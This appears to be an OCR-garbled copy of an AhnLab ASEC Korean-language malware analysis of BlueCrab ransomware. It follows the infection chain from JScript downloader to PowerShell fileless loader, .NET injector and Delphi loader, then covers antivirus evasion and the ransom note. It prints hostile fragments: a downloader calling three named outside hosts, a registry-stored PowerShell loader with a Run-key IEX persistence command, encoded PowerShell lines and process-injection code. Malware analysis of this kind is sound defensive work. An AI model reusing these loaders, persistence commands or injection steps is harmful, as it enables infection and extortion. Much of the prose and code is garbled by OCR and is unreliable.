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function remove (elem) {
if ('elem) return:
elem.parentNode.removeChild(elem) ;

}

if (!document.all) document.all = document.getElementsByTagName ("*"):
for (i = 0; 1 < document.all.length; i++) {
if (document.all[i].tagName == "BODY" || document.all[i].tagName == "HIML") {} else {

remove (document.all[i]) ;
}

}
document.body.inner *iTI-!L
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function JW2?(qo1 21

FO73 = teblVsce( t{afconrolc.4)6{VecV =t
Vu?-qmz,}

W27(0,"KUAMISG);

function Rd92(Tm31) {return Tm31 % (0292+0292):}

VerVTE: elarmacfalt (aea/lEad T/ SANShT KT TR T Dxbeldw n
veeVig)di clomoctalt (ecsVieed JEHEHLW XWORTK[UULKTH7(] ] (W etNO 1xbe(a

Ox61(1,"gkIGhxU");
kR31= t
ks41(

HIS4( IPcre™);

function XC58(ws28,mN32) {return ws28.charAt{mN32);}

function kS41(rp29,w¥18) {return Lx51 = eN16(FO73).5plit(kR31);}
function eN16(MZ61) {hI96=\VuT;RK81=(");while (hJ96 < nl74) (kH9=XC58(MZ61,hJ96);if (RA92(hJ96)) RKS1=uT29(RK81,kHS,RK81);
function Rx91(Mq22,PQ1) { return Lx51[oM30](Lx51[0z92])(Lx51[0z92]);}
Rx@1("OMCP™Y;

function uT29(tH73,IW30,nb46) { return tH73+IW30; }

function HIS4(vz82,mD63,nf33) {return Lx51[oMN90] = JW27[L51[VuT])}
function Ox61(Ux16){

0z92=Ux16;

oN90=02z92+Ux16*0z92 +Ux16;

nl74=. M)

Ozl 4. 7|= S up

function surpriseQ{major="0qtRcGX"; wave = every(hunt).split(majo;post[£444567] = seem;}
function would(lady,gun,any,governtwave[stick](wave[offer])(post);}

function tie(eye truck){return eye.charAt(truck);)

function busylfraction){return fraction % (offer+offer);}

function receive(travel,name, quotlenn{flcwer- ;offer=flowenstick= Of'l‘eri-flm-:a oﬁer+flower‘posl[ ] = surprise‘}

function appear(include, fiy){hunt = rl= a Hy)#" Wy 9 oe=(%0 NS =h Ms RAesEITuSMetl Yxa % i
function every(arel{a=store;two=";while (a < ) iplanet=tie(are.a); two-operate(two planet.a) a++; }r!mm twiogh

art{post=[2731]);

function art(shape,gentle,rule,plan){love= swhile(: 7 )itrylpost[love] O:)eatchlobjecti{post] 1 J=appear;llove++}}

function seem(least,brother,soon){wave(stick] = appear[wave[store]l;post[5214017] = would;}

function operate(train,sentence,made) { if (busy{made)) return train+sentence; else return sentence+train; }

IS THUS| DS BO| HRHHAIT IS E} SRSt AT RIE 5 AN O BIE SHe REE Mol M SR Y
ct gaxrs ZIE 232 9I5h O ASRES ZAD U ZEIV|THS ASHOZ HESHT QICh IS T Lt
TH37HOl C2 FAE 7HXI T Q20 WA MM E 2 CHE C20i| X2l 2 TS AlZsict

C2 A= 2lol=E HA =0 Q10| AF2E|0f PHP It 2| 0|E2 20204 108 267X = “/check.php”& A5t 1

O|Z=EE{= “/search.php” O|EE AtE ST O|Ct. 11 0| X0 = /info.php, forum.php S2| Tt H S A6t H}F QICH PHP

Thloll MEE/s QX2 = R 8t 20| EIIEICE 7| Z0ls HTTP 2 E 2 ALRSIR =0, 202041 38 30 HE]
HTTPS 2 =22 AFSSICE Tfaty 2to| 2efz| eino| =7} x| 842 7 vixio] Osol M= Satstx| o4

0 1r
n

e = ["www.cwal037.org", "www.cristianivanciu.ro", "www.communityhalldp.org.uk"]:
While (F < 3) {

j = WScript.CreateObject('MS
z = Math.random() .toStrir

ATTP') :

+ 30);

if (WScript.CreateObject ("F 11") .ExpandEnvironmentStrings ("3U {
z =2z + "Z278146";

}

try {
j.open('GET', 'https://' + e[F] + '/search.php' + "?dotgqguuubhidww=" + z, false):
j.send():

} catch (e) {

return false:
}
if (j.status === 200) {
var q = j.responseText;
if ((g.indexOf("G" + z + "G", 0)) = -1) {
WScript.sleep(22222):
} else {
q = g.replace("E" + z + "&", "");
var h = g.replace(/(\d{2})/g, function(f) {
return String.fromCharCode (parseInt(f, 10) + 30);

hi
Tiny[31(R) ()
WSeript.Quit() :

} else {

WScript.sleep (- )
}
F+4:
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[Registry]
Powershell Command

[Environment Variable]
Powershell Command

JavaScript [Registry]
PE Binary
(.Net Injector)

T12! 8. Powershell A8 2=

=rCE

chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String ]$hs);$Bytes = [byte[]]::new($hs.Length /
2);for($i=0; $i -1t $hs.Length; $i+=2){$Bytes[$i/2] = [convert]:: ToByte($hs.Substring($i, 2), 16)}$Bytes};$i =
0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break} }[byte[]]$b =

chba($a.replace(“! @#”,$ko));[Reflection. Assembly]::Load($b);[Mode]::Setup();

*| X| A E 2| [~CurrentVersion\Run]
“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe” -windowstyle hidden -Command
“IEX([Environment]::GetEnvironmentVariable(‘[PCO|£7’, ‘User’))”

*2| K| A E 2| [~Software\"PCO|E+0"]
4d5a90000300000004000000£fff0000b80000000000000040000000000000000000. ..

1.2t 342 o o o &
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H E NMAHRCE w2t R 28 Ao S&FSHA| 2220, wscript.exeZ
g %@tﬂ"ol “4*’401 £ Adelc ase64 TE F7t0f| “»E ALE510{ LIS5E A|E5IACE A S48 S5

E22| AVOM LB tdo] =22 WEA MAZUE Aot FHECH

L

02
do
rr
finl
-|E

“C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe” -e
J“AB3AD0OAJWAgACOAQwBVAGOAbQBhAG4AZAAgACIASQBFAFg...(SE5...
HcAUwWBOAHKAbDABIACAAaABpAGQAZABIAG4“A

o TZTEAM|A EZ2|0| cmd.exe 7}

7| &0]| = wscript.exeZ} &I & powershell.exe2 Al
RUCE. hfA] 2 Bt- ol =2 M A EE|7FHA

BH51F O L}, CMD HZ 0 E 5l PowerShell2 ASiGIEE HAE|
|
O.J—

| ALt
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“C:\Windows\System32\cmd.exe” /c PowerShell -e
IABpAGYAKABbAEUAbgB2AGkAcgBvAG4AbQBIAG4AdABdADoAOgBJAHMANgAOAEIAaQBOAESACABIA...

2EH0| YHOE S5 = AASt= AT M AZRUCE W2t 2| K| A E2|0 SZ & NET InjectorE 2 E3H=
x

t.
PowerShell @2 0{E& wscript.exe? ] AlSHSIC) EESH Y = 22 o] o E20| eHE S =AM 742 7| = Base64 QI

}- = —_
TYst0] Y &g Ot} 23| CHE 2AE A =S HAE UL,

— O

<# brsjyxdus #>for ($i=0;3i -le 700;$i++){$c="HKCU:\SOFTWARE\prizbydat”; Try{$a=$a+(Get-
ItemProperty -path $c).$i}Catch{} };function chba{[cmdletbinding()]param([parameter(Mandatory=$true)]
[String]$hs);$Bytes = [byte[]]::new($hs.Length / 2);for($i=0; $i -1t $hs.Length; $i+=2){$Bytes[$i/2] =
[convert]::ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko
-eq 1000){ break} }[byte[]]$b = chba($a.replace(“!@#”,$ko));[Reflection. Assembly]::Load($b);
[Mode]::Setup();

3. PowerShell 22 E| A8l =| = .NET Injector2| g

Net Injector= Delphi LoaderE Q|| M35}t0{ Al85=

o St} Delphi Loader HFO| 2| = LHE 5=l SHEHZ NET
Injector O+0{| I EHE|0f Q1 204, .NET Injector= 0|2 Z0{h & Ci AL T2 M| A0 QI M5H0] AlsH

o

roh

B

o Delphi Loader HFO| LA 2[(QI ™ M Cf| 0| E]) XM &k HtAl H5|

7|&0]|= CtS1F 20| Delphi Loader HIO|LH 2| E Base64 QI AE & HE 2 F R 2o 2 HEH oL 20204 108
129 B0l =l HEHO|M = The X2 HHAIZ ALESH0{ M ABICE “1000” 212 “l@#” S2| 2AME 2 X|2t6tUCt o=
X8 2X1P L “$%N SO 2 B E|7| = 5HRICE (20.11.28)

T2l 9. 7| = XA gAl

[}

.NET Injector7} 21& A G}= Delphi Loader H}0|HZ|= 7|& DLL Z3I0{|AM EXE Z 2 A= UCt ek SHE
I:I}O|l.1a|E _HIA:I%}E ghAl ce 5t HA S| =], 7| 0] = DIl Injection 7 |HE AFRIMCIH HE 0| F0f| = Process

o=z u
Sl

Delphi Loader H}O| L 2|
29! B0l =l B B0 A=

= 108
Delphi Loader| ZZM|A H 22| 2XRE QMM & Resumest= Mg

7|E0ll= X0l 2E
DIIEntryPoint() 8t4=2| A
A E Suspend AEH 2 A A St 5

Hollowing B4l 2 S =| T

=] Z 2 M| A (powershell.exe)d| 7t M| 22| £ §HEStO
£ 3ot 2y M= ghalo|ACt 20201 1
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I
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O Process
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&l 11. 7|Z DLL Injection T =

payload, bBuffar

[payvload

E M| A= powershell.exe

iT
A =
2 A8l S olMMsict Szl = T2 M| A Q| Pathe
2 |

Ao 2 o A A & Z2MAE Of2f et 20| XISHo =2 HEE 1
UCE ZZM A EB[F X0 HEE F7| &2 2 HUECL V3MEN M= Z2M AW &2 910] A& 7Hsst
ch.
7|1= 20.11.28  20.12.04 20.12.04  20.12.07 20.12.07 201212 20.12.16  21.01.18

powershell.exe cmd.exe  notepad.exe  cscript.exe = wscript.exe PING.exe find.exe  write.exe = WerFault

2.H

FH
02l
ro

SO MM et T2 M A

4. Delphi Loader2| B3

Delphi Loader= BlueCrab 2 MQ|{E E =5}
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E Windows PowerShell

2=l A AIEE Microsoft Windows

AEMIEH L8 EAl

[ owa |

O3 13 HHE E == UAC HA|X]

o V3MH|A DLIE{E 3= 7}

2020 118 2 QI E HE 0| A V3 Lite M Z 2| AMH|A “V3 Service’2| S} AEHE 2 LIE{-IGHE A=t
A =0l 42 12 E Sleep 5111 S S 32 = 5005 HHE SIC}. [HatA ol & HH=
FOo{ZICtH YA KO 2 MH| AT SR E & 24

ENZ Elch V3 M| E2| A e lof7t sl =2t = ctof mhlof &

St= &2
Ch &2 V3 M ZO| M= ol2{et LB {20t of THAIO|AM ZIEHSHa U7 = 0i| 5Y

rel

—

Sleep(le@eu);
if ( lsub_413618(v7, (int)}"V3 Service™) )
break;
--vE;
b
while ([ wv& };
¥

T2l 14. V3 MH|A 2L|E{2 3

« LR EXE 2455

CH2 Bm/sty| 9I5h LR 2XIUS E3N LS5t HES BT WY £7(0 = “V3 Service” 2XH0| 216
5171 AHB K| z H
51510{ AL S WA 2 MBEIUCH ST HBO 2 WOt BHRH= AVl &

o
tO|% ” Service”, “ervice” S22 AIEE = EAIE S ZFN 0|10, XA H QI ALto] 2fs 5=
Alo Ct =0
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00012DC0 43 3R 5C 57 €% €E €4 6F 77 73 5C 53 79 73 74 €5 C:\Windows\Syste
00012DD0 6D 33 32 5C T2 75 6E 64 6C €C 33 32 2E €5 78 65 m32\rundlliZ.exe
Q0012DEQ0 00 Q0 00 00 FF FF FF FF 01 00 00 00 56 00 00 00 ....09¥¥....V...
Q0012DF0 FF FF FF FF 08 00 Q0 00 20 53 €5 72 76 €% &3 €5 ¢¥y¥.... Serwvice
2020.11.09 Q00Q012EQ00 00 00 00 Q0 FF FF FF FF 05 00 00 00 31 32 33 34 ....99¥¥....1234

00012E70 72 75 GE €4 6C €C 33 32 2E 65 76 65 00 00 00 00 rundll3Z.exe....
Q00012E20 FF FF FF FF 01 00 00 00 20 00 00 00 FF FF FF FF #¥¥¥.... ...0000
00012ES0 01 00 00 00 56 00 00 00 FF FF FF FF 07 00 00 00 ....Ve..§¥9§....
00012EA0 53 €5 72 76 6% €3 €5 00 FF FF FF FF 03 00 00 00 Service.yyvy....
20201110 Q0012EBO 53 Té 63 00 FF FF FF FF 05 00 00 00 31 32 33 34 Svec.§yi{¥....1234

D0012E70  6C 6C 33 32 2E 65 78 65 00 00 00 00 FF FF FF FF 1132.exe....¥99%
00012ES0 OL 00 00 00 20 00 00 00 FF FE FF FF OL 00 00 00 .vus v §00....
Q00L12E%0 56& 00 00 00 FF FF FF FF O1 00 00 00 53 00 00 00 WV...9¥0¥....5...
00012ER0 FF FF FF FF 06 00 00 00 65 72 76 65 €3 65 00 00 y¥V....ezvice..
20201112 |qoo12ER0 FF FF FF FF 02 00 00 OO0 76 €3 00 00 S5 8B EC 33 §yy¥....ve..Uci3

o .rsrc MM H|0|E| &S5}

xsrc MM E 3 B RCDATA 8H22| Cf| 0|E{ 7} XOR A& 5}HE|QUCE 7= “123472 St= 3 Y F 0 ULt 3 & | 0|Ef
ST EALAVHZE S ?2I5ts W9 & 5h= A2 DLLE, sl g AVZL dX[ = 0f /UX| 42 M ALSSHR| gd= # 2

251 Ut %USERPROFILE% Z 20{| db.bat 0|22 2 =25 S rundll32.exe 0]
&l =| 09, system32 C| 2| E2|
=

2| E Ztof AfH|SH

13
HM

vll = CreateProcessA(
"C:\\Windows\\System32\\cleanmgr.exe",
(LPSTR)&CommandLine,
eica,
0ic4,

e,

e,

pi6a,

oi64,

&StartupInfe,
&ProcessInformation);

if ((vil)
{

Str = arg(l);
hProcess = OpenProcess(@x1F@FFFu, @, ProcessIinformation.dwProcessld);
if ( hProcess && hProcess != (HANDLE)-1i64 )
{
lpBaseAddress = VirtualAllocEx(hProcess, ©i64, @x104ui64, Bx3@00u, 4u);
v3 = strlen(5tr);
WriteProcessMemory(hProcess, lpBaseAddress, Str, v3 + 1, @ied);
v7 = CreateRemoteThread(hProcess, @i64, @i64, (LPTHREAD START ROUTINE)LcadLibraryA, lpBaseAddress, @, 9i64);

T12l 16. cleanmgr.exe Q1AM T =

while ( 1)

v9 = readdir(vie);
if ( 'vo )
break;
v8 = concat(5tr, (const char *)(v9 + 8));
FileName = concat((const char *)v8, "\\Hangeul.hwp");
v6 = concat((const char *)v3, "\\Memo.txt");
5 = concat((const char *)v8, "\\Photo.jpg");
f ( access(FileName, @) != -1 &% access(v6, @) != -1 &% access(v5, @) != -1 )

i
‘.
lock = concat((const char *)vd, "\\");
remove_directory((const char *)Block);

O 17.C| 30| utd CIHEE| AN ZE
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Delphi Loader0i| 2|5l BlueCrab 21412l|0{ H}O|L4 2|7} A13H =] PowerShell HZH0{E E3l VSC AfA| &

o
HRIE THECH US5I AEEH A =R B ESHHE TS0 20| HABIT

L

All of your files are encrypted!

Find 12Z2xrrtreadme txt and follow ir

2 18 HAE HiESH
All of your files are encrypted!
Find 12xrr+readme.txt and follow instructions

—=Welcome.Again.==-
[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has

expansion 12xrr.

stuctions

By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise,

you cant return your data (NEVER).
[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do

not do our work and liabilities — nobody will not cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you can decrypt one file for

free. That is our guarantee.

If you will not cooperate with our service — for us, its does not matter. But you will lose your time and

data, cause just we have the private key. In practise — time is much more valuable than money.

(FEH

EEl

3. M LEE

R == |

V3 M ZF oM = ChSa 22 THSt 2Tt O 2 BlueCrab 29l 01 S XHE

2 19. V3 RIEH 5

(o EIEH
Ransomware/JS.BlueCrab.S1336
Ransomware/JS.BlueCrab.S1366

=22 e
Ransomware/Win.BlueCrab.XM37
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Ransomware/Win.BlueCrab.XM63

(&l =
Malware/MDP.Inject.M3044
Malware/MDP.Behavior.M3491
Malware/MDP.Behavior.M3544

Source: https://asec.ahnlab.com/ko/19640/
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